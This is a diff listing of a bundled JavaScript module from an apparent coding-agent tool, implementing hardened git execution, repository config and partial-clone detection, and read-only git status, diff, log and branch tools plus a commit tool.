283
|
+
}
|
|
284
|
+
}
|
|
285
|
+
return pins;
|
|
286
|
+
}
|
|
287
|
+
async function defaultGitRunner(args, options) {
|
|
288
|
+
const timeout = options.timeoutMs === 0 ? 0 : options.timeoutMs ?? 3e4;
|
|
289
|
+
return new Promise((resolvePromise, reject) => {
|
|
290
|
+
execFile2(
|
|
291
|
+
"git",
|
|
292
|
+
args,
|
|
293
|
+
{
|
|
294
|
+
cwd: options.cwd,
|
|
295
|
+
timeout,
|
|
296
|
+
signal: options.signal,
|
|
297
|
+
encoding: "utf8",
|
|
298
|
+
maxBuffer: 50 * 1024 * 1024,
|
|
299
|
+
windowsHide: options.windowsHide ?? true,
|
|
300
|
+
env: buildChildEnv(
|
|
301
|
+
process.env,
|
|
302
|
+
options.env ? { ...hardenedGitEnv(), ...options.env } : hardenedGitEnv()
|
|
303
|
+
)
|
|
304
|
+
},
|
|
305
|
+
(error, stdout, stderr) => {
|
|
306
|
+
if (!error) {
|
|
307
|
+
resolvePromise({ stdout, stderr, code: 0 });
|
|
308
|
+
return;
|
|
309
|
+
}
|
|
310
|
+
const isKilled = Boolean(error.killed || error.signal);
|
|
311
|
+
if (!isKilled && typeof error.code === "number" && options.allowExitCodes?.includes(error.code)) {
|
|
312
|
+
resolvePromise({ stdout, stderr, code: error.code });
|
|
313
|
+
return;
|
|
314
|
+
}
|
|
315
|
+
let failureReason;
|
|
316
|
+
if (error.killed) {
|
|
317
|
+
failureReason = timeout > 0 ? `git timed out after ${timeout}ms and was killed` : "git timed out and was killed";
|
|
318
|
+
} else if (error.signal) {
|
|
319
|
+
failureReason = `git was killed with ${error.signal}`;
|
|
320
|
+
} else if (error.code === "ERR_CHILD_PROCESS_STDIO_MAXBUFFER" || /maxBuffer/i.test(error.message)) {
|
|
321
|
+
failureReason = "git output too large (maxBuffer exceeded)";
|
|
322
|
+
} else if (typeof error.code === "string") {
|
|
323
|
+
failureReason = `git failed: ${error.code}`;
|
|
324
|
+
} else {
|
|
325
|
+
failureReason = stderr.trim() || stdout.trim() || error.message || "git failed";
|
|
326
|
+
}
|
|
327
|
+
reject(new Error(failureReason));
|
|
328
|
+
}
|
|
329
|
+
);
|
|
330
|
+
});
|
|
331
|
+
}
|
|
332
|
+
function isPartialClone(entries) {
|
|
333
|
+
return entries.some((entry) => {
|
|
334
|
+
if (entry.key === "extensions.partialclone") return entry.value !== "";
|
|
335
|
+
if (!entry.key.startsWith("remote.")) return false;
|
|
336
|
+
if (entry.key.endsWith(".partialclonefilter")) return true;
|
|
337
|
+
if (entry.key.endsWith(".promisor")) {
|
|
338
|
+
return !["false", "no", "off", "0", ""].includes(entry.value.trim().toLowerCase());
|
|
339
|
+
}
|
|
340
|
+
return false;
|
|
341
|
+
});
|
|
342
|
+
}
|
|
343
|
+
async function readRepositoryProgramPins(cwd, exec, options) {
|
|
344
|
+
return (await readRepositoryGitConfig(cwd, exec, options)).pins;
|
|
345
|
+
}
|
|
346
|
+
async function readRepositoryGitConfig(cwd, exec, options) {
|
|
347
|
+
const runner = exec ?? defaultGitRunner;
|
|
348
|
+
const timeoutMs = options?.timeoutMs === 0 ? 0 : options?.timeoutMs ?? 3e4;
|
|
349
|
+
const signal = options?.signal;
|
|
350
|
+
const env = options?.env;
|
|
351
|
+
const allowFsmonitor = options?.allowFsmonitor ?? true;
|
|
352
|
+
const showScopeArgs = hardenedGitArgs([
|
|
353
|
+
"config",
|
|
354
|
+
"--show-scope",
|
|
355
|
+
"-z",
|
|
356
|
+
"--get-regexp",
|
|
357
|
+
REPOSITORY_PROGRAM_CONFIG_PATTERN
|
|
358
|
+
]);
|
|
359
|
+
let isUnknownOption = false;
|
|
360
|
+
let showScopeResult;
|
|
361
|
+
try {
|
|
362
|
+
showScopeResult = await runner(showScopeArgs, {
|
|
363
|
+
cwd,
|
|
364
|
+
allowExitCodes: [1, 129],
|
|
365
|
+
timeoutMs,
|
|
366
|
+
signal,
|
|
367
|
+
env
|
|
368
|
+
});
|
|
369
|
+
if (showScopeResult.code === 129 || /unknown option/i.test(showScopeResult.stderr)) {
|
|
370
|
+
isUnknownOption = true;
|
|
371
|
+
}
|
|
372
|
+
} catch (error) {
|
|
373
|
+
const message = error instanceof Error ? error.message : String(error);
|
|
374
|
+
if (/unknown option/i.test(message)) {
|
|
375
|
+
isUnknownOption = true;
|
|
376
|
+
} else {
|
|
377
|
+
throw error;
|
|
378
|
+
}
|
|
379
|
+
}
|
|
380
|
+
if (!isUnknownOption && showScopeResult) {
|
|
381
|
+
if (showScopeResult.code === 0) {
|
|
382
|
+
const entries2 = parseGitConfig(showScopeResult.stdout);
|
|
383
|
+
return {
|
|
384
|
+
pins: repositoryProgramPins(entries2, { allowFsmonitor }),
|
|
385
|
+
partialClone: isPartialClone(entries2)
|
|
386
|
+
};
|
|
387
|
+
}
|
|
388
|
+
if (showScopeResult.code === 1) {
|
|
389
|
+
return { pins: [], partialClone: false };
|
|
390
|
+
}
|
|
391
|
+
throw new Error(
|
|
392
|
+
showScopeResult.stderr.trim() || showScopeResult.stdout.trim() || `git config failed (${showScopeResult.code})`
|
|
393
|
+
);
|
|
394
|
+
}
|
|
395
|
+
const entries = [];
|
|
396
|
+
const systemArgs = hardenedGitArgs([
|
|
397
|
+
"config",
|
|
398
|
+
"--system",
|
|
399
|
+
"--includes",
|
|
400
|
+
"-z",
|
|
401
|
+
"--get-regexp",
|
|
402
|
+
REPOSITORY_PROGRAM_CONFIG_PATTERN
|
|
403
|
+
]);
|
|
404
|
+
try {
|
|
405
|
+
const sysResult = await runner(systemArgs, {
|
|
406
|
+
cwd,
|
|
407
|
+
allowExitCodes: [1],
|
|
408
|
+
timeoutMs,
|
|
409
|
+
signal,
|
|
410
|
+
env
|
|
411
|
+
});
|
|
412
|
+
if (sysResult.code === 0) {
|
|
413
|
+
entries.push(...parseGitConfig(sysResult.stdout, { scope: "system" }));
|
|
414
|
+
}
|
|
415
|
+
} catch {
|
|
416
|
+
}
|
|
417
|
+
const globalArgs = hardenedGitArgs([
|
|
418
|
+
"config",
|
|
419
|
+
"--global",
|
|
420
|
+
"--includes",
|
|
421
|
+
"-z",
|
|
422
|
+
"--get-regexp",
|
|
423
|
+
REPOSITORY_PROGRAM_CONFIG_PATTERN
|
|
424
|
+
]);
|
|
425
|
+
const globalResult = await runner(globalArgs, {
|
|
426
|
+
cwd,
|
|
427
|
+
allowExitCodes: [1],
|
|
428
|
+
timeoutMs,
|
|
429
|
+
signal,
|
|
430
|
+
env
|
|
431
|
+
});
|
|
432
|
+
if (globalResult.code === 0) {
|
|
433
|
+
entries.push(...parseGitConfig(globalResult.stdout, { scope: "global" }));
|
|
434
|
+
} else if (globalResult.code !== 1) {
|
|
435
|
+
throw new Error(
|
|
436
|
+
globalResult.stderr.trim() || globalResult.stdout.trim() || `git config --global failed (${globalResult.code})`
|
|
437
|
+
);
|
|
438
|
+
}
|
|
439
|
+
const localArgs = hardenedGitArgs([
|
|
440
|
+
"config",
|
|
441
|
+
"--local",
|
|
442
|
+
"--includes",
|
|
443
|
+
"-z",
|
|
444
|
+
"--get-regexp",
|
|
445
|
+
REPOSITORY_PROGRAM_CONFIG_PATTERN
|
|
446
|
+
]);
|
|
447
|
+
const localResult = await runner(localArgs, {
|
|
448
|
+
cwd,
|
|
449
|
+
allowExitCodes: [1],
|
|
450
|
+
timeoutMs,
|
|
451
|
+
signal,
|
|
452
|
+
env
|
|
453
|
+
});
|
|
454
|
+
if (localResult.code === 0) {
|
|
455
|
+
entries.push(...parseGitConfig(localResult.stdout, { scope: "local" }));
|
|
456
|
+
} else if (localResult.code !== 1) {
|
|
457
|
+
throw new Error(
|
|
458
|
+
localResult.stderr.trim() || localResult.stdout.trim() || `git config --local failed (${localResult.code})`
|
|
459
|
+
);
|
|
460
|
+
}
|
|
461
|
+
const worktreeArgs = hardenedGitArgs([
|
|
462
|
+
"config",
|
|
463
|
+
"--worktree",
|
|
464
|
+
"--includes",
|
|
465
|
+
"-z",
|
|
466
|
+
"--get-regexp",
|
|
467
|
+
REPOSITORY_PROGRAM_CONFIG_PATTERN
|
|
468
|
+
]);
|
|
469
|
+
try {
|
|
470
|
+
const wtResult = await runner(worktreeArgs, {
|
|
471
|
+
cwd,
|
|
472
|
+
allowExitCodes: [1, 128],
|
|
473
|
+
timeoutMs,
|
|
474
|
+
signal,
|
|
475
|
+
env
|
|
476
|
+
});
|
|
477
|
+
if (wtResult.code === 0) {
|
|
478
|
+
entries.push(...parseGitConfig(wtResult.stdout, { scope: "worktree" }));
|
|
479
|
+
}
|
|
480
|
+
} catch {
|
|
481
|
+
}
|
|
482
|
+
return {
|
|
483
|
+
pins: repositoryProgramPins(entries, { allowFsmonitor: false }),
|
|
484
|
+
partialClone: isPartialClone(entries)
|
|
485
|
+
};
|
|
486
|
+
}
|
|
487
|
+
|
|
488
|
+
// src/tools/git.ts
|
|
489
|
+
var HARDENED_DIFF_ARGS = [
|
|
490
|
+
"--no-ext-diff",
|
|
491
|
+
"--no-textconv",
|
|
492
|
+
"--ignore-submodules=dirty",
|
|
493
|
+
"--submodule=short"
|
|
494
|
+
];
|
|
495
|
+
function noFetchGitEnv() {
|
|
496
|
+
return { GIT_NO_LAZY_FETCH: "1", GIT_ALLOW_PROTOCOL: "" };
|
|
497
|
+
}
|
|
498
|
+
var MISSING_OBJECTS_NOTE = "This repository is a partial clone, and git needs an object that is not here. Book's git reads do not fetch missing objects: run the same git command yourself, which fetches what it needs, or `git fetch --refetch <remote>` after unsetting `remote.<remote>.partialclonefilter`, then retry.";
|
|
499
|
+
function describeMissingObjects(message, partialClone = false) {
|
|
500
|
+
const missing = /lazy fetching disabled|promisor remote|transport '[^']*' not allowed/i.test(message) || partialClone && /unable to read|could not read|missing (blob|tree|commit)|bad object|could not fetch/i.test(
|
|
501
|
+
message
|
|
502
|
+
);
|
|
503
|
+
return missing ? `${MISSING_OBJECTS_NOTE}
|
|
504
|
+
${message}` : message;
|
|
505
|
+
}
|
|
506
|
+
async function runGit(args, ctx, execute = execFile3) {
|
|
507
|
+
return new Promise((resolve) => {
|
|
508
|
+
const options = {
|
|
509
|
+
cwd: ctx.workspaceRoot,
|
|
510
|
+
encoding: "utf-8",
|
|
511
|
+
timeout: 3e4,
|
|
512
|
+
signal: ctx.signal,
|
|
513
|
+
// A hook git runs is a project command like any other, so it must not inherit a NODE_ENV
|
|
514
|
+
// Book defaulted for its own renderer.
|
|
515
|
+
env: buildChildEnv(process.env, ctx.env)
|
|
516
|
+
};
|
|
517
|
+
execute("git", args, options, (error, stdout, stderr) => {
|
|
518
|
+
if (!error) {
|
|
519
|
+
resolve({ success: true, output: stdout || "(no output)" });
|
|
520
|
+
return;
|
|
521
|
+
}
|
|
522
|
+
if (ctx.signal?.aborted) {
|
|
523
|
+
resolve({ success: false, output: "", error: "CANCELLED: Git command was cancelled" });
|
|
524
|
+
return;
|
|
525
|
+
}
|
|
526
|
+
resolve({
|
|
527
|
+
success: false,
|
|
528
|
+
output: "",
|
|
529
|
+
error: stderr || error.message || "Git command failed"
|
|
530
|
+
});
|
|
531
|
+
});
|
|
532
|
+
});
|
|
533
|
+
}
|
|
534
|
+
async function openReadOnlyGit(ctx) {
|
|
535
|
+
const env = { ...ctx.env, ...hardenedGitEnv(), ...noFetchGitEnv() };
|
|
536
|
+
const config = await readRepositoryGitConfig(ctx.workspaceRoot, void 0, {
|
|
537
|
+
signal: ctx.signal,
|
|
538
|
+
env
|
|
539
|
+
});
|
|
540
|
+
return {
|
|
541
|
+
partialClone: config.partialClone,
|
|
542
|
+
run: async (args) => {
|
|
543
|
+
const result = await runGit(hardenedGitArgs([...config.pins, ...args]), { ...ctx, env });
|
|
544
|
+
return result.success || !result.error ? result : { ...result, error: describeMissingObjects(result.error, config.partialClone) };
|
|
545
|
+
}
|
|
546
|
+
};
|
|
547
|
+
}
|
|
548
|
+
async function readOnlyGit(args, ctx) {
|
|
549
|
+
try {
|
|
550
|
+
return await (await openReadOnlyGit(ctx)).run(args);
|
|
551
|
+
} catch (error) {
|
|
552
|
+
return {
|
|
553
|
+
success: false,
|
|
554
|
+
output: "",
|
|
555
|
+
error: error instanceof Error ? error.message : String(error)
|
|
556
|
+
};
|
|
557
|
+
}
|
|
558
|
+
}
|
|
559
|
+
function gitResult(result) {
|
|
560
|
+
return result.success ? toolSuccess(result.output) : toolFailure(result.error ?? "Git command failed", { content: result.output });
|
|
561
|
+
}
|
|
562
|
+
async function gitStatus(_args, ctx) {
|
|
563
|
+
const result = await readOnlyGit(READ_ONLY_GIT_ARGS.GitStatus, ctx);
|
|
564
|
+
return gitResult(result);
|
|
565
|
+
}
|
|
566
|
+
async function gitDiff(_args, ctx) {
|
|
567
|
+
const result = await readOnlyGit(READ_ONLY_GIT_ARGS.GitDiff, ctx);
|
|
568
|
+
return gitResult(result);
|
|
569
|
+
}
|
|
570
|
+
async function gitLog(_args, ctx) {
|
|
571
|
+
const result = await readOnlyGit(READ_ONLY_GIT_ARGS.GitLog, ctx);
|
|
572
|
+
return gitResult(result);
|
|
573
|
+
}
|
|
574
|
+
async function gitCommit(args, ctx) {
|
|
575
|
+
const message = args.message;
|
|
576
|
+
const result = await runGit(["commit", "-m", message], {
|
|
577
|
+
...ctx,
|
|
578
|
+
env: { ...ctx.env, ...homeGitCeilingEnv() }
|
|
579
|
+
});
|
|
580
|
+
return gitResult(result);
|
|
581
|
+
}
|
|
582
|
+
async function gitBranch(_args, ctx) {
|
|
583
|
+
const result = await readOnlyGit(READ_ONLY_GIT_ARGS.GitBranch, ctx);
|
|
584
|
+
return gitResult(result);
|
|
585
|
+
}
|
|
586
|
+
var READ_ONLY_GIT_ARGS = {
|
|
587
|
+
GitStatus: ["status", "--short", "--ignore-submodules=dirty"],
|
|
588
|
+
GitDiff: ["diff", ...HARDENED_DIFF_ARGS],
|
|
589
|
+
GitLog: ["log", "--oneline", "-20", "--no-show-signature"],
|
|
590
|
+
GitBranch: ["branch", "-a"]
|
|
591
|
+
};
|
|
592
|
+
var gitTools = [
|
|
593
|
+
{
|
|
594
|
+
name: "GitStatus",
|
|
595
|
+
idempotent: true,
|
|
596
|
+
policy: { concurrency: "parallel" },
|
|
597
|
+
description: "Show the working tree status (git status --short). Changes inside submodules are not listed; run `git -C <sub> status` for those.",
|
|
598
|
+
parameters: { type: "object", properties: {}, required: [] },
|
|
599
|
+
execute: gitStatus
|
|
600
|
+
},
|
|
601
|
+
{
|
|
602
|
+
name: "GitDiff",
|
|
603
|
+
idempotent: true,
|
|
604
|
+
policy: { concurrency: "parallel" },
|
|
605
|
+
description: "Show changes between commits, commit and working tree, etc.",
|
|
606
|
+
parameters: { type: "object", properties: {}, required: [] },
|
|
607
|
+
execute: gitDiff
|
|
608
|
+
},
|
|
609
|
+
{
|
|
610
|
+
name: "GitLog",
|
|
611
|
+
idempotent: true,
|
|
612
|
+
policy: { concurrency: "parallel" },
|
|
613
|
+
description: "Show recent commit logs (last 20, oneline)",
|
|
614
|
+
parameters: { type: "object", properties: {}, required: [] },
|
|
615
|
+
execute: gitLog
|
|
616
|
+
},
|
|
617
|
+
{
|
|
618
|
+
name: "GitCommit",
|
|
619
|
+
description: "Create a new commit with a message",
|
|
620
|
+
parameters: {
|
|
621
|
+
type: "object",
|
|
622
|
+
properties: { message: { type: "string", description: "Commit message" } },
|
|
623
|
+
required: ["message"]
|
|
624
|
+
},
|
|
625
|
+
execute: gitCommit
|
|
626
|
+
},
|
|
627
|
+
{
|
|
628
|
+
name: "GitBranch",
|
|
629
|
+
idempotent: true,
|
|
630
|
+
policy: { concurrency: "parallel" },
|
|
631
|
+
description: "List branches",
|
|
632
|
+
parameters: { type: "object", properties: {}, required: [] },
|
|
633
|
+
execute: gitBranch
|
|
634
|
+
}
|
|
635
|
+
];
|
|
636
|
+
|
|
637
|
+
export {
|
|
638
|
+
TERMINATE_GRACE_MS,
|
|
639
|
+
isProcessAlive,
|
|
640
|
+
signalProcessGroup,
|
|
641
|
+
waitForProcessGroupExit,
|
|
642
|
+
waitForProcessClose,
|
|
643
|
+
runTaskkill,
|
|
644
|
+
terminateProcessTree,
|
|
645
|
+
terminateForegroundProcess,
|
|
646
|
+
hardenedGitEnv,
|
|
647
|
+
hardenedGitArgs,
|
|
648
|
+
parseGitConfig,
|
|
649
|
+
defaultGitRunner,
|
|
650
|
+
readRepositoryProgramPins,
|
|
651
|
+
readRepositoryGitConfig,
|
|
652
|
+
HARDENED_DIFF_ARGS,
|
|
653
|
+
noFetchGitEnv,
|
|
654
|
+
describeMissingObjects,
|
|
655
|
+
openReadOnlyGit,
|
|
656
|
+
readOnlyGit,
|
|
657
|
+
READ_ONLY_GIT_ARGS,
|
|
658
|
+
gitTools
|
|
659
|
+
};
|
|
660
|
+
//# sourceMappingURL=chunk-32WBCUAN.js.map
|